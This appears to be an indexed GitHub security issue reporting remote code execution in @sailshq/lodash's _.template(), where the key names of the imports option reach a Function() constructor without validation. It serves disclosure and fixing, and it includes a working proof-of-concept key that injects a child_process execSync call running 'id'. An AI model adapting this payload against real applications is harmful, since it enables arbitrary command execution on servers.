balderdashy / balderdashy/sails
[SECURITY] Remote Code Execution via Unvalidated `imports` Key Names in `_.template()`
- Dominant language
- JavaScript
- Stars
- 22.8k
- Forks
- 1.9k
- PR merge metrics
- No merged PRs in 30d
Description
Hi,
My name is Twan — I'm a security researcher, and while digging into how JavaScript libraries handle compiled/sandboxed code execution, I came across something in `@sailshq/lodash` I think is worth flagging to you directly.
### Summary
`@sailshq/lodash`'s `_.template()` validates the `variable` option against an identifier blocklist, but never applies the same check to the *key names* of the `imports` option before passing them as the parameter list of a `Function()` constructor call. An application that lets any part of an `imports` key name be attacker-influenced gets full remote code execution. This is the same sink upstream `lodash` fixed on 2026-03-31 (CVE-2026-4800) — this fork carries the older half of that fix but was never updated with the part that actually closes this hole.
### Details
`lib/index.js`:
```js
// line 160
var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;
// lines 11074-11075
importsKeys = keys(imports),
importsValues = baseValues(imports, importsKeys);
// line 11133 — variable IS validated
else if (reForbiddenIdentifierChars.test(variable)) {
...
}
// line 11161 — importsKeys is NOT validated
return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);
```
`importsKeys` are spread directly as the parameter list of a `Function()` constructor call, with no character validation of any kind. The `reForbiddenIdentifierChars` blocklist exists in this codebase and is applied to the `variable` option (line 11133), but is never applied to `importsKeys`.
This is the exact sink upstream `lodash` (`lodash/lodash`) fixed in CVE-2026-4800.
### PoC
Tested on `@sailshq/lodash@3.10.7` (latest published version at time of report):
```js
const _ = require('@sailshq/lodash');
const key = '{ [(global.__RCE__=require("child_process").execSync("id").toString().trim(),0)]: x }';
const compiled = _.template('hi', { imports: { [key]: 1 } });
compiled({});
console.log(global.__RCE__);
```
Running this executes `id` and prints its output.
### Impact
Any application that passes attacker-influenced content into an `imports` key name of `_.template()`. This is the identical precondition shape as upstream lodash's own CVE-2026-4800 and underscore.js's CVE-2021-23358 (`settings.variable`) — both real, maintainer-patched CVEs on the same API family — so this is a recognized, credible threat model, not a hypothetical one specific to this fork.
### Affected versions
Confirmed present on `3.10.7` (latest published version at time of this report).
Contributor guide
Research direction
Start in lib/index.js around lines 11074-11161 and run the reported _.template() PoC against the affected version. Trace how importsKeys reaches the Function() constructor, then compare the existing variable validation with the upstream CVE-2026-4800 fix. Done means attacker-controlled imports key names are rejected before the sink and regression coverage confirms the exploit no longer executes.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 52/100